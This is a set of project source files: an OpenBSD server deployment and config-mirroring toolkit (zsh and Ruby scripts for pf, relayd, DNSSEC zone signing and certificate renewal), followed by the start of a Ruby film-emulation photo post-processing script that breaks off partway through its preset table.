  typeset _c; _c=$(/usr/sbin/rcctl check relayd)
  [[ $_c == *"relayd(ok)"* ]] || { log ERROR "relayd not running"; exit 1 }
  log INFO "relayd live — TLS+SNI on :443"
}

configure_dev_ssh() {
  typeset cfg=/home/dev/.ssh/config
  install -d -o dev -g dev -m 700 /home/dev/.ssh
  [[ -f $cfg ]] || install -o dev -g dev -m 600 /dev/null "$cfg"
  typeset existing="$(<$cfg)"
  if [[ $existing != *"Host github.com"* ]]; then
    print -r -- $'\nHost github.com\n  IdentityFile ~/.ssh/id_ed25519_brgen\n  IdentitiesOnly yes' >>"$cfg"
    chown dev:dev "$cfg"
    chmod 600 "$cfg"
    log INFO "dev ssh: github.com block installed"
  fi

  # Ensure the operator dev account uses the modern Zsh environment
  # (packages for zsh + starship + neovim etc. are installed in Stage 1).
  typeset dev_shell=${${(s/:/)$(getent passwd dev)}[-1]}
  if [[ $dev_shell != */zsh ]]; then
    chsh -s /usr/local/bin/zsh dev 2>/dev/null || log WARN "chsh dev to zsh failed (may need manual)"
  fi
}

stage_2() {
  log INFO "Stage 2: services and apps"

  check_dns_propagation

  typeset _mem_line; _mem_line=$(vmstat -s | while IFS= read -r _l; do [[ $_l == *"free memory"* ]] && print -r -- "$_l" && break; done)
  typeset _mem_free=${${(z)_mem_line}[1]}
  (( _mem_free < 512000 )) && { log ERROR "Insufficient free memory"; exit 1 }

  install_template etc/pf.conf /etc/pf.conf
  /sbin/pfctl -nf /etc/pf.conf || { log ERROR "pf.conf invalid"; exit 1 }
  /sbin/pfctl -f /etc/pf.conf  || { log ERROR "pf failed"; exit 1 }

  install_template etc/mail/smtpd.conf /etc/mail/smtpd.conf
  smtpd -n -f /etc/mail/smtpd.conf || { log ERROR "smtpd.conf invalid"; exit 1 }
  [[ ! -f /etc/ssl/private/smtp.key ]] && \
    openssl genpkey -algorithm RSA -out /etc/ssl/private/smtp.key -pkeyopt rsa_keygen_bits:4096
  [[ ! -f /etc/ssl/smtp.crt ]] && \
    openssl req -x509 -new -key /etc/ssl/private/smtp.key -out /etc/ssl/smtp.crt -days 365 -subj "/CN=mail.pub.attorney"
  chmod 640 /etc/ssl/private/smtp.key /etc/ssl/smtp.crt

  setup_services

  typeset -a deploy_order=(amber)
  for app_entry in $ALL_APPS; do
    typeset app=${app_entry[(ws:*:)1]}
    [[ $app != amber ]] && deploy_order+=($app)
  done
  for app in $deploy_order; do
    typeset port=${APP_PORTS[$app]:=$(generate_random_port)}
    APP_PORTS[$app]=$port
    bootstrap_rails_app "$app" "$port" || { log ERROR "bootstrap failed: $app"; exit 1 }
  done

  for svc_entry in $SERVICES; do
    typeset svc_name=${svc_entry%%:*}
    typeset svc_rest=${svc_entry#*:}
    typeset svc_port=${svc_rest##*:}
    log INFO "Setting up service: $svc_name on port $svc_port"
    chmod 755 /etc/rc.d/$svc_name
    /usr/sbin/rcctl enable $svc_name
    /usr/sbin/rcctl start $svc_name || log WARN "$svc_name start failed (may need manual start)"
  done

  configure_dev_ssh

  log INFO "Deploying MASTER web UI"
  typeset m3dir="/home/dev/pub4/MASTER"
  [[ -d $m3dir ]] || { log ERROR "MASTER not found at $m3dir"; exit 1 }
  cd "$m3dir/web"
  bundle config set --local path vendor/bundle
  bundle install --quiet
  typeset master_secret
  typeset -a _master_secret_lines
  _master_secret_lines=("${(@f)$(RAILS_ENV=production bundle exec rails secret 2>/dev/null)}")
  master_secret=${_master_secret_lines[-1]}
  [[ ${#master_secret} -ge 64 ]] || { log ERROR "master: secret capture failed (got ${#master_secret} chars)"; exit 1 }
  install_template etc/rc.d/master.tmpl /etc/rc.d/master
  chmod 555 /etc/rc.d/master
  rcctl enable master
  rcctl start master
  log INFO "MASTER web UI running on :53187"

  configure_relayd

  log INFO "Deploy complete. Test: curl https://brgen.no, rcctl check master."
}

# ── Entry point ───────────────────────────────────────────────────────────────

main() {
  if [[ ${1:-} = --help ]]; then
    print -r -- "Configure OpenBSD 7.8 for Rails with DNSSEC and relayd TLS+SNI.
Usage: doas zsh openbsd.sh [--help]"
    exit 0
  fi
  stage_1
  stage_2
}

main "$@"

openbsd/sync.rb

#!/usr/bin/env ruby
# frozen_string_literal: true
# Mirror live VPS config into DEPLOY/openbsd/ with secret redaction.
# Run on VPS: doas ruby34 ~/pub4/DEPLOY/openbsd/sync.rb

require "fileutils"

MIRROR = File.expand_path("..", __FILE__)

FIXED_SOURCES = [
  "/etc/rc.d/master", "/etc/rc.d/brgen", "/etc/rc.d/brgen_tv", "/etc/rc.d/brgen_rails",
  "/etc/rc.d/amber", "/etc/rc.d/amber_rails", "/etc/rc.d/baibl",
  "/etc/rc.d/blognet", "/etc/rc.d/blognet_rails",
  "/etc/rc.d/bsdports", "/etc/rc.d/bsdports_rails",
  "/etc/rc.d/hjerterom", "/etc/rc.d/hjerterom_rails",
  "/etc/relayd.conf", "/etc/httpd.conf", "/etc/pf.conf",
  "/etc/acme-client.conf", "/var/nsd/etc/nsd.conf",
  "/etc/login.conf", "/etc/rc.conf.local",
  "/home/dev/.zshrc",
].freeze

# Public DNS data — zone files, signed zones, public keys, DS records.
# Excludes K*.private (DNSSEC signing keys) and runtime state (*.db).
NSD_ZONE_GLOBS = %w[
  /var/nsd/zones/master/*.zone
  /var/nsd/zones/master/*.zone.signed
  /var/nsd/zones/master/K*.key
  /var/nsd/zones/master/K*.ds
].freeze

SOURCES = (FIXED_SOURCES + NSD_ZONE_GLOBS.flat_map { |g| Dir[g] }).uniq.freeze

SECRET_PATTERNS = [
  /(_API_KEY=)\S+/,
  /(_KEY=)sk-\S+/,
  /(SECRET_KEY_BASE=)[a-f0-9]{32,}/,
  /(_TOKEN=)\S+/,
  /(_PASSWORD=)\S+/,
  /(_SECRET=)\S+/,
].freeze

def redact(body)
  SECRET_PATTERNS.inject(body) { |acc, pat| acc.gsub(pat, '\1__REDACTED__') }
end

def dest_for(path)
  case path
  when %r{^/etc/rc\.d/(.+)}        then File.join(MIRROR, "etc", "rc.d", $1)
  when %r{^/etc/(.+)}              then File.join(MIRROR, "etc", $1)
  when %r{^/var/nsd/etc/(.+)}      then File.join(MIRROR, "var", "nsd", "etc", $1)
  when %r{^/var/nsd/zones/(.+)}    then File.join(MIRROR, "var", "nsd", "zones", $1)
  when %r{^/home/dev/(.+)}         then File.join(MIRROR, "etc", File.basename($1))
  else                                   File.join(MIRROR, "etc", File.basename(path))
  end
end

mirrored = []
skipped  = []
SOURCES.each do |path|
  unless File.exist?(path)
    skipped << path
    next
  end
  body = File.read(path, encoding: "UTF-8", invalid: :replace, undef: :replace)
  dest = dest_for(path)
  FileUtils.mkdir_p(File.dirname(dest))
  File.write(dest, redact(body))
  mirrored << path
end

puts "mirrored #{mirrored.size}:"
mirrored.each { |p| puts "  #{p}" }
if skipped.any?
  puts "skipped (not present): #{skipped.size}"
  skipped.each { |p| puts "  #{p}" }
end

openbsd/usr/local/bin/renew-certs.sh

#!/usr/bin/env zsh
set -euo pipefail

generate_tlsa_record() {
  typeset domain=$1
  typeset cert=/etc/ssl/$domain.fullchain.pem
  typeset zonefile=/var/nsd/zones/master/$domain.zone
  typeset zsk=/var/nsd/zones/master/K$domain.+013+zsk.key
  typeset ksk=/var/nsd/zones/master/K$domain.+013+ksk.key
  [[ ! -f $cert ]] && return 1
  typeset tlsa_record
  tlsa_record=$(openssl x509 -noout -pubkey -in "$cert" | \
    openssl pkey -pubin -outform der 2>/dev/null | \
    openssl dgst -sha256 2>/dev/null)
  tlsa_record=${tlsa_record##* }
  [[ -z $tlsa_record ]] && return 1
  typeset -a lines
  lines=("${(@f)$(<$zonefile)}")
  lines=("${(@)lines:#_443._tcp.$domain. IN TLSA*}")
  print -rl -- $lines > "$zonefile"
  print -r -- "_443._tcp.$domain. IN TLSA 3 1 1 $tlsa_record" >> "$zonefile"
  typeset salt
  salt=$(dd if=/dev/random bs=16 count=1 2>/dev/null | sha1 -q)
  ldns-signzone -n -p -s "$salt" "$zonefile" "$zsk" "$ksk"
  nsd-control reload
}

ALL_DOMAINS=(
  brgen.no longyearbyn.no oshlo.no stvanger.no trmso.no trndheim.no
  reykjavk.is kbenhvn.dk gtebrg.se mlmoe.se stholm.se hlsinki.fi
  brmingham.uk cardff.uk edinbrgh.uk glasgw.uk lndon.uk lverpool.uk
  mnchester.uk amstrdam.nl rottrdam.nl utrcht.nl brssels.be zrich.ch
  lchtenstein.li frankfrt.de brdeaux.fr mrseille.fr mlan.it lisbon.pt
  wrsawa.pl gdnsk.pl austn.us chcago.us denvr.us dllas.us dnver.us
  dtroit.us houstn.us lsangeles.com mnnesota.com newyrk.us prtland.com
  wshingtondc.com pub.healthcare pub.attorney freehelp.legal
  bsdports.org bsddocs.org discordb.org foodielicio.us
  stacyspassion.com antibettingblog.com anticasinoblog.com
  antigamblingblog.com foball.no amber.brgen.no baibl.no
)

for domain in $ALL_DOMAINS; do
  if acme-client -v -f /etc/acme-client.conf "$domain"; then
    print -r -- "Renewed: $domain"
    generate_tlsa_record "$domain"
  fi
done

/usr/sbin/rcctl reload relayd

postpro/postpro.rb

#!/usr/bin/env ruby
# frozen_string_literal: true

# Postpro.rb - Professional Cinematic Post-Processing
# Version: 20.0.0 - Photo quality research: adaptive contrast, filmic shoulder/toe,
#   clarity (local contrast), edge-aware NR, selective sharpening; quality_uplift preset

require "logger"
require "json"
require "time"
require "fileutils"

BOOT_TIME = Time.now.freeze

module PostproBootstrap
  def self.dmesg(msg)
    elapsed = defined?(BOOT_TIME) ? " +%.3fs" % (Time.now - BOOT_TIME) : ""
    $stdout.puts "postpro0 at vips8#{elapsed}: #{msg}"
    $stdout.flush
  end

  def self.startup_banner
    dmesg "ruby#{RUBY_VERSION} os=#{RbConfig::CONFIG["host_os"]} pid=#{Process.pid}"
  end

  def self.ensure_gems
    vips_available = ensure_vips
    tty_available = ensure_tty_prompt

    dmesg "vipsgem=#{vips_available} tty=#{tty_available}"
    { vips: vips_available, tty: tty_available }
  end

  def self.ensure_vips
    require "vips"
    true
  rescue LoadError
    dmesg "WARN ruby-vips gem missing, attempting install..."
    begin
      if system("gem install ruby-vips --no-document")
        require "vips"
        dmesg "OK ruby-vips gem installed"
        true
      else
        dmesg "WARN ruby-vips install failed"
        probe_and_install_libvips
        false
      end
    rescue StandardError => e
      dmesg "WARN ruby-vips unavailable: #{e.message}"
      false
    end
  end

  def self.ensure_tty_prompt
    require "tty-prompt"
    true
  rescue LoadError
    dmesg "WARN tty-prompt gem missing, attempting install..."
    begin
      if system("gem install tty-prompt --no-document")
        require "tty-prompt"
        dmesg "OK tty-prompt gem installed"
        true
      else
        dmesg "WARN tty-prompt install failed, degraded prompt experience"
        false
      end
    rescue StandardError => e
      dmesg "WARN tty-prompt unavailable: #{e.message}"
      false
    end
  end

  def self.probe_and_install_libvips
    dmesg "probing libvips installation..."

    if system("pkg-config", "--exists", "vips", out: File::NULL, err: File::NULL)
      dmesg "OK libvips already installed"
      return true
    end

    # Detect package manager and attempt install
    os = RbConfig::CONFIG["host_os"]
    case os
    when /darwin/
      if system("which", "brew", out: File::NULL, err: File::NULL)
        dmesg "attempting: brew install vips"
        system("brew", "install", "vips")
      else
        dmesg "ERROR homebrew not found, install manually: brew install vips"
      end
    when /linux/
      if system("which", "apt", out: File::NULL, err: File::NULL)
        dmesg "attempting: apt install libvips-dev"
        system("apt", "update") && system("apt", "install", "-y", "libvips-dev")
      elsif system("which", "dnf", out: File::NULL, err: File::NULL)
        dmesg "attempting: dnf install vips-devel"
        system("dnf", "install", "-y", "vips-devel")
      elsif system("which", "yum", out: File::NULL, err: File::NULL)
        dmesg "attempting: yum install vips-devel"
        system("yum", "install", "-y", "vips-devel")
      elsif system("which", "apk", out: File::NULL, err: File::NULL)
        dmesg "attempting: apk add vips-dev"
        system("apk", "add", "vips-dev")
      elsif system("which", "pacman", out: File::NULL, err: File::NULL)
        dmesg "attempting: pacman -S libvips"
        system("pacman", "-S", "--noconfirm", "libvips")
      else
        dmesg "ERROR no supported package manager found"
      end
    when /openbsd/
      if system("which pkg_add > /dev/null 2>&1")
        dmesg "attempting: pkg_add vips"
        system("doas pkg_add vips")
      else
        dmesg "ERROR pkg_add not found"
      end
    else
      dmesg "ERROR unsupported OS: #{os}"
    end

    # Verify installation
    if system("pkg-config", "--exists", "vips", out: File::NULL, err: File::NULL)
      dmesg "OK libvips installation successful"
      true
    else
      dmesg "ERROR libvips installation failed"
      false
    end
  end

  def self.load_camera_profiles(profiles_path)
    profiles = {}

    unless Dir.exist?(profiles_path)
      dmesg "WARN camera profiles directory not found: #{profiles_path}"
      return profiles
    end

    Dir.glob(File.join(profiles_path, "*.json")).each do |file|
      begin
        data = JSON.parse(File.read(file))
        vendor = data["vendor"]
        if vendor && data["profiles"]
          profiles[vendor] = data["profiles"]
        end
      rescue StandardError => e
        dmesg "WARN failed to load profile #{File.basename(file)}: #{e.message}"
      end
    end

    brands = profiles.keys.join(",")
    dmesg "camera_profiles=#{brands.empty? ? 'none' : brands}"
    profiles
  end

  def self.load_master_config
    return {} unless File.exist?("master.json")

    begin
      master = JSON.parse(File.read("master.json").gsub(/^.*\/\/.*$/, ""))
      config = master.dig("config", "multimedia", "postpro") || {}
      dmesg "OK loaded defaults from master.json"
      config
    rescue StandardError => e
      dmesg "WARN failed to parse master.json: #{e.message}"
      {}
    end
  end

  def self.run
    startup_banner
    gems = ensure_gems

    unless gems[:vips]
      dmesg "FATAL libvips unavailable; macOS: brew install vips; Ubuntu: apt install libvips-dev; OpenBSD: doas pkg_add vips"
      exit 1
    end

    profiles_path = "multimedia/camera_profiles"
    camera_profiles = load_camera_profiles(profiles_path)
    config = load_master_config

    {
      gems: gems,
      camera_profiles: camera_profiles,
      config: config
    }
  end
end

BOOTSTRAP = PostproBootstrap.run
$logger = Logger.new("postpro.log", "daily", level: Logger::DEBUG)
$cli_logger = Object.new.tap do |obj|
  def obj.info(msg) = PostproBootstrap.dmesg(msg)
  def obj.error(msg) = PostproBootstrap.dmesg("error #{msg}")
end

if BOOTSTRAP[:gems][:tty]
  require "tty-prompt"
  PROMPT = TTY::Prompt.new
else
  PROMPT = nil
end

if BOOTSTRAP[:gems][:vips]
  require "vips"
end

REPLIGEN_PRESENT = File.exist?("repligen.rb")
CAMERA_PROFILES = BOOTSTRAP[:camera_profiles]
CONFIG = BOOTSTRAP[:config]

# Per-stock data: grain sigma (legacy), 3x3 colour matrix, and characteristic
# curve [Dmin, Dmax, pivot, gamma] per R/G/B. Dmin lifts shadows (base+fog),
# Dmax caps highlights (shoulder), pivot is the linear midtone fulcrum (≈0.18),
# gamma is contrast (>1 = steeper). Per-channel offsets create stock colour cast.
STOCKS = {
  kodak_portra: { grain: 15,
                  sublayers: [{ sensitivity_shift: 0.0, grain_scale: 1.4, weight: 0.45 },
                               { sensitivity_shift: -0.5, grain_scale: 1.0, weight: 0.55 }],
                  matrix: [1.05, -0.02, -0.03, 0.02, 0.98, 0.00, 0.01, -0.05, 1.04],
                  hd: { r: [0.06, 0.93, 0.18, 1.10], g: [0.05, 0.94, 0.18, 1.10], b: [0.04, 0.92, 0.20, 1.05] } },
  kodak_vision3: { grain: 20,
                   sublayers: [{ sensitivity_shift: 0.3, grain_scale: 1.5, weight: 0.40 },
                                { sensitivity_shift: 0.0, grain_scale: 1.1, weight: 0.35 },
                                { sensitivity_shift: -0.6, grain_scale: 0.85, weight: 0.25 }],
                   matrix: [1.08, -0.05, -0.03, 0.03, 0.95, 0.02, 0.02, -0.08, 1.06],
                   hd: { r: [0.07, 0.95, 0.17, 1.15], g: [0.06, 0.95, 0.18, 1.20], b: [0.08, 0.90, 0.20, 1.10] } },
  kodak_vision3_50d: { grain: 8, matrix: [1.06, -0.03, -0.02, 0.02, 0.96, 0.01, 0.01, -0.05, 1.04],
                       hd: { r: [0.05, 0.95, 0.18, 1.08], g: [0.04, 0.95, 0.18, 1.12], b: [0.03, 0.93, 0.20, 1.05] } },
  kodak_vision3_500t: { grain: 20, matrix: [1.10, -0.06, -0.04, 0.04, 0.94, 0.03, 0.04, -0.10, 1.09],
                        hd: { r: [0.08, 0.95, 0.17, 1.18], g: [0.06, 0.95, 0.18, 1.22], b: [0.10, 0.90, 0.20, 1.15] },
                        focal_plane_offset: 1.1 },
  cinestill_800t: { grain: 22,
                    sublayers: [{ sensitivity_shift: 0.4, grain_scale: 1.6, weight: 0.35 },
                                 { sensitivity_shift: 0.0, grain_scale: 1.2, weight: 0.40 },
                                 { sensitivity_shift: -0.5, grain_scale: 0.9, weight: 0.25 }],
                    matrix: [1.12, -0.07, -0.05, 0.04, 0.93, 0.03, 0.05, -0.12, 1.10],
                    hd: { r: [0.09, 0.96, 0.17, 1.20], g: [0.07, 0.95, 0.18, 1.25], b: [0.12, 0.88, 0.20, 1.18] },
                    halation: 0.8, focal_plane_offset: 1.2 },
  ektachrome_100: { grain: 10, matrix: [1.08, -0.04, -0.04, 0.02, 1.02, -0.02, 0.01, -0.08, 1.07],
                    hd: { r: [0.02, 0.97, 0.18, 1.30], g: [0.02, 0.97, 0.18, 1.35], b: [0.03, 0.96, 0.20, 1.25] } },
  fuji_velvia: { grain: 8, matrix: [1.12, -0.08, -0.04, 0.05, 1.05, -0.02, 0.01, -0.12, 1.11],
                 hd: { r: [0.02, 0.97, 0.18, 1.45], g: [0.02, 0.98, 0.18, 1.50], b: [0.03, 0.95, 0.20, 1.40] } },
  tri_x: { grain: 25, matrix: [1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 1.0],
            hd: { r: [0.05, 0.95, 0.18, 1.30], g: [0.05, 0.95, 0.18, 1.30], b: [0.05, 0.95, 0.18, 1.30] } },
  # Kodachrome: steep gamma, no in-film couplers, external development process.
  # Punchy reds, heavy yellow separation, minimal shadow fog.
  kodachrome: { grain: 12, matrix: [1.15, -0.10, -0.05, 0.03, 1.00, -0.03, 0.00, -0.10, 1.10],
                hd: { r: [0.02, 0.97, 0.18, 1.42], g: [0.03, 0.97, 0.18, 1.36], b: [0.04, 0.95, 0.20, 1.20] } },
}.freeze

# Lens character: data-driven table drives vintage_lens().
# vignette/glow/micro_contrast/chroma are intensity multipliers [0,1].
LENSES = {
  zeiss: { micro_contrast: 0.40, flare: 0.08 },
  leica: { micro_contrast: 0.45, glow: 0.25 },
  helios: { micro_contrast: 0.30, chroma: 0.05 },
  cooke: { micro_contrast: 0.20, warmth: 0.10 },
  anamorphic: { micro_contrast: 0.25, chroma: 0.08, flare: 0.50 },
}.freeze

# Per-stock R/G/B channel amplitude ratios for grain — mirrors the three
# dye-layer sensitivities. Red layer is reference (1.00), green and blue
# attenuated to match the stock's measured dye-cloud statistics.
GRAIN_CHAN_SCALE = {
  kodak_portra: [1.00, 0.85, 0.70],
  kodak_vision3: [1.00, 0.90, 0.80],
  kodak_vision3_50d: [1.00, 0.88, 0.75],
  kodak_vision3_500t: [1.00, 0.88, 0.72],
  cinestill_800t: [1.05, 0.88, 0.75],
  ektachrome_100: [0.95, 0.95, 1.05],
  fuji_velvia: [1.00, 1.10, 0.90],
  tri_x: [1.00, 1.00, 1.00],
  kodachrome: [1.00, 0.92, 0.82],
}.freeze

# Per-channel spatial frequency ratios for grain — red layer (σ×1.00) is coarsest,
# blue (σ×0.72) finest, matching measured dye-cloud PSF widths per layer depth.
GRAIN_CHANNEL_SPATIAL = [1.00, 0.85, 0.72].freeze

# Lognormal grain amplitude distribution. Silver halide crystals cluster in groups;
# the cluster field drives amplitude modulation on top of the base Perlin layer.
GRAIN_LOGNORM_SIGMA = 0.55
GRAIN_LOGNORM_MEAN = Math.exp(GRAIN_LOGNORM_SIGMA**2 / 2.0)

# Print film stocks: H&D per channel, warmth triplet, grain amplitude.
# Applied as a final projection stage emulating contact or optical printing.
PRINT_STOCKS = {
  kodak_2383: {
    hd: { r: [0.03, 0.98, 0.18, 1.38], g: [0.02, 0.97, 0.18, 1.34], b: [0.04, 0.96, 0.18, 1.28] },
    grain: 3, warmth: 0.055, cool_shadow: 0.042
  },
  kodak_2302: {
    hd: { r: [0.05, 0.95, 0.18, 1.50], g: [0.05, 0.95, 0.18, 1.50], b: [0.05, 0.95, 0.18, 1.50] },
    grain: 5
  },
}.freeze

# Per-stock reciprocity failure color shifts. Blue layer lags most under long
# exposures; green-magenta crossover happens first. Offsets in scRGB units per
# decade of EV (ev = log2(secs) / 10).
RECIPROCITY_SHIFT = {
  cinestill_800t: { r: 0.02, g: -0.04, b: 0.14 },
  kodak_vision3_500t: { r: 0.01, g: -0.03, b: 0.11 },
  kodak_vision3: { r: 0.01, g: -0.03, b: 0.10 },
  tri_x: { r: 0.02, g: -0.05, b: 0.16 },
  kodak_portra: { r: 0.01, g: -0.02, b: 0.09 },
}.freeze

# Per-stock push response ratios. Blue dye layer develops faster under push;
# green is the reference (1.00). Ratios are per-stop multipliers relative to
# the nominal exposure-doubling factor.
PUSH_RESPONSE = {
  kodak_vision3_500t: { g: 1.00, b: 0.92 },
  kodak_vision3: { g: 1.00, b: 0.93 },
  cinestill_800t: { g: 0.97, b: 0.89 },
  kodak_portra: { g: 1.00, b: 0.94 },
  tri_x: { g: 1.00, b: 0.97 },
  fuji_velvia: { g: 1.00, b: 0.88 },
  ektachrome_100: { g: 0.99, b: 0.91 },
  kodachrome: { g: 0.98, b: 0.90 },
}.freeze

# Stocks with integral colored couplers (C-41 process) — get orange mask treatment.
C41_STOCKS = %i[kodak_portra kodak_vision3 kodak_vision3_50d kodak_vision3_500t cinestill_800t].freeze

# Per-stock film base density tints. Each emulsion has a characteristic base fog
# color: C-41 negatives are orange-masked; reversal stocks are nearly neutral;
# B&W silver prints are pure white. Applied at low opacity over the whole frame
# so dark areas pick up the tint more than highlights (density-sensitive).
FILM_BASE = {
  kodak_portra: [255, 245, 228],
  kodak_vision3: [255, 246, 226],
  kodak_vision3_50d: [255, 248, 232],
  kodak_vision3_500t: [255, 247, 225],
  cinestill_800t: [255, 243, 218],
  ektachrome_100: [248, 250, 255],
  fuji_velvia: [250, 251, 255],
  tri_x: [255, 255, 255],
  kodachrome: [255, 246, 222],
}.freeze

# Physics-ordered 6-8 step chains: optical_blur → exposure/temp → film_curve
# → chemistry → optical_effect → print → grain. One contrast mode and one
# color temperature approach per preset — no stacking.
PRESETS = {
  portrait: { fx: %w[optical_blur film_curve dir_coupler orange_mask skin_protect shadow_lift highlight_roll grain],
              stock: :kodak_portra, temp: 5200, intensity: 0.85 },

  indie: { fx: %w[optical_blur film_curve orange_mask shadow_lift split_toning chromatic_aberration grain],
           stock: :kodak_portra, temp: 5400, intensity: 0.85, lens: "helios" },

  polaroid: { fx: %w[optical_blur film_curve faded_print warmth bloom_pro shadow_lift grain],
              stock: :kodak_portra, temp: 5000, intensity: 0.85 },

  landscape: { fx: %w[optical_blur spectral_temp film_curve color_separate halation micro_contrast grain],
               stock: :fuji_velvia, temp: 5800, intensity: 0.90, lens: "zeiss" },

  magic_hour: { fx: %w[optical_blur spectral_temp film_curve halation warmth bloom_pro grain],
                stock: :fuji_velvia, temp: 4800, intensity: 0.90 },

  reversal: { fx: %w[optical_blur film_curve color_separate halation highlight_roll micro_contrast grain],
              stock: :fuji_velvia, temp: 5600, intensity: 0.90 },

  process_e6: { fx: %w[optical_blur push_pull film_curve color_separate halation highlight_roll grain],
                stock: :ektachrome_100, temp: 5600, intensity: 0.90, stops: 2.0 },

  cinematic: { fx: %w[optical_blur spectral_temp tonemap film_curve orange_mask halation shadow_lift print_film grain],
               stock: :kodak_vision3_500t, temp: 4500, intensity: 0.90, print_stock: :kodak_2383 },

  blockbuster: { fx: %w[optical_blur tonemap bleach_bypass film_curve orange_mask teal_orange halation print_film grain],
                 stock: :kodak_vision3, temp: 4800, intensity: 0.90, print_stock: :kodak_2383 },

  golden_age: { fx: %w[optical_blur film_curve orange_mask technicolor warmth dir_coupler bloom_pro grain],
                stock: :kodak_vision3_50d, temp: 5200, intensity: 0.85, lens: "cooke" },

  bleached: { fx: %w[optical_blur tonemap bleach_bypass film_curve split_grade highlight_roll grain],
              stock: :kodak_vision3, temp: 4800, intensity: 0.90 },

  neon_night: { fx: %w[optical_blur push_pull reciprocity_failure film_curve orange_mask halation bloom_pro grain],
                stock: :cinestill_800t, temp: 3200, intensity: 0.90,
                stops: 0.5, exposure_secs: 30.0 },

  tokyo_night: { fx: %w[optical_blur push_pull reciprocity_failure film_curve orange_mask halation teal_orange grain],
                 stock: :cinestill_800t, temp: 3000, intensity: 0.90,
                 stops: 1.0, exposure_secs: 45.0 },

  tungsten: { fx: %w[optical_blur spectral_temp film_curve orange_mask halation push_pull shadow_lift grain],
              stock: :kodak_vision3_500t, temp: 3200, intensity: 0.90,
              stops: 0.3, exposure_secs: 8.0 },

  street: { fx: %w[optical_blur tonemap bleach_bypass film_curve adjacency_effects shadow_lift micro_contrast grain],
            stock: :tri_x, temp: 5600, intensity: 0.90, stops: 1.0 },

  war_doc: { fx: %w[optical_blur tonemap push_pull film_curve bleach_bypass green_push grain],
             stock: :tri_x, temp: 5600, intensity: 0.90, stops: 2.0 },

  silver_gelatin: { fx: %w[optical_blur film_curve push_pull adjacency_effects shadow_lift highlight_roll grain],
                    stock: :tri_x, temp: 5600, intensity: 0.85, stops: 0.5 },

  lith: { fx: %w[optical_blur film_curve push_pull lith_print split_toning grain],
          stock: :tri_x, temp: 5600, intensity: 0.90, stops: 1.5 },

  noir: { fx: %w[optical_blur tonemap film_curve bleach_bypass desaturate shadow_lift grain],
          stock: :tri_x, temp: 5600, intensity: 0.90, stops: 2.0 },

  dream: { fx: %w[optical_blur film_curve halation bloom_pro desaturate split_toning grain],
           stock: :ektachrome_100, temp: 5800, intensity: 0.85, lens: "leica" },

  dreamscape: { fx: %w[optical_blur film_curve halation bloom_pro split_toning grain],
                stock: :ektachrome_100, temp: 5800, intensity: 0.85 },

  lo_fi: { fx: %w[optical_blur film_curve push_pull faded_print warmth chromatic_aberration grain],
           stock: :kodak_portra, temp: 4800, intensity: 0.85, lens: "helios" },

  horror: { fx: %w[optical_blur tonemap film_curve bleach_bypass green_push desaturate grain],
            stock: :tri_x, temp: 5600, intensity: 0.90 },

  arctic: { fx: %w[optical_blur tonemap film_curve desaturate bleach_bypass highlight_roll grain],
            stock: :tri_x, temp: 6500, intensity: 0.90 },

  kodachrome_look: { fx: %w[optical_blur tonemap film_curve kodachrome_sim dir_coupler halation grain],
                     stock: :kodachrome, temp: 5600, intensity: 0.90 },

  technicolor_3strip: { fx: %w[optical_blur spectral_temp film_curve technicolor dir_coupler bloom_pro grain],
                        stock: :kodachrome, temp: 5500, intensity: 0.90 },

  cross_process: { fx: %w[optical_blur push_pull film_curve color_separate teal_orange split_toning grain],
                   stock: :fuji_velvia, temp: 5500, intensity: 0.90, stops: 0.5 },

  vintage_chrome: { fx: %w[optical_blur film_curve dir_coupler spectral_temp color_separate split_toning grain],
                    stock: :ektachrome_100, temp: 5200, intensity: 0.85 },

  infrared_look: { fx: %w[optical_blur push_pull infrared film_curve bleach_bypass highlight_roll grain],
                   stock: :tri_x, temp: 5600, intensity: 0.90, stops: 0.5 },

  cyanotype_look: { fx: %w[optical_blur film_curve desaturate cyanotype shadow_lift grain],
                    stock: :tri_x, temp: 6000, intensity: 0.85 },

  analog_scan: { fx: %w[optical_blur film_curve grain scan_noise dust_and_hair newton_rings],
                 stock: :kodak_portra, temp: 5200, intensity: 0.80 },

  aged_chrome: { fx: %w[optical_blur film_curve dye_fade selenium_tone faded_print grain],
                 stock: :ektachrome_100, temp: 5600, intensity: 0.85, age: 0.60 },

  anamorphic: { fx: %w[optical_blur longitudinal_ca spectral_temp tonemap film_curve anamorphic_flare halation grain],
                stock: :kodak_vision3_500t, temp: 4200, intensity: 0.90 },

  contact_print: { fx: %w[optical_blur adjacency_effects film_curve darkroom_print shadow_lift grain],
                   stock: :tri_x, temp: 5600, intensity: 0.85 },

  aged_kodachrome: { fx: %w[optical_blur film_curve dye_fade kodachrome_sim dir_coupler grain],
                     stock: :kodachrome, temp: 5600, intensity: 0.88, age: 0.50 },

  wide_angle: { fx: %w[optical_blur lens_distortion spectral_temp film_curve halation grain],
                stock: :fuji_velvia, temp: 5800, intensity: 0.90, k1: -0.14 },

  cinema_scan: { fx: %w[optical_blur longitudinal_ca tonemap film_curve orange_mask halation bokeh_rendering print_film grain],
                 stock: :kodak_vision3, temp: 4600, intensity: 0.90, print_stock: :kodak_2383 },

  diffraction: { fx: %w[optical_blur diffraction_blur film_curve micro_contrast grain],
                 stock: :fuji_velvia, temp: 5600, intensity: 0.85, f_number: 22.0 },

  nitrate: { fx: %w[optical_blur film_curve dye_fade faded_print adjacency_effects grain scan_noise],
             stock: :kodachrome, temp: 4800, intensity: 0.85, age: 0.80 },

  fiber_print: { fx: %w[optical_blur adjacency_effects darkroom_print paper_texture dodgeburn_artifacts grain],
                 stock: :tri_x, temp: 5600, intensity: 0.85 },

  expired: { fx: %w[optical_blur film_curve expired_film gate_weave],
             stock: :kodak_portra, temp: 5200, intensity: 0.90, age: 0.65 },

  reticulated: { fx: %w[optical_blur film_curve reticulation fixing_bath_fog grain],
                 stock: :tri_x, temp: 5600, intensity: 0.80 },

  ortho: { fx: %w[optical_blur ortho_film film_curve adjacency_effects grain],
           stock: :tri_x, temp: 5600, intensity: 0.85 },

  tilt_shift_look: { fx: %w[optical_blur film_curve tilt_shift halation grain],
                     stock: :kodak_portra, temp: 5200, intensity: 0.80 },

  haunted: { fx: %w[optical_blur expired_film reticulation fixing_bath_fog lens_ghosting gate_weave grain],
             stock: :kodachrome, temp: 4600, intensity: 0.90, age: 0.80 },

  quality_uplift: { fx: %w[adaptive_contrast film_shoulder clarity edge_aware_nr selective_sharpen film_curve grain],
                    stock: :kodak_portra, temp: 5600, intensity: 0.75 },
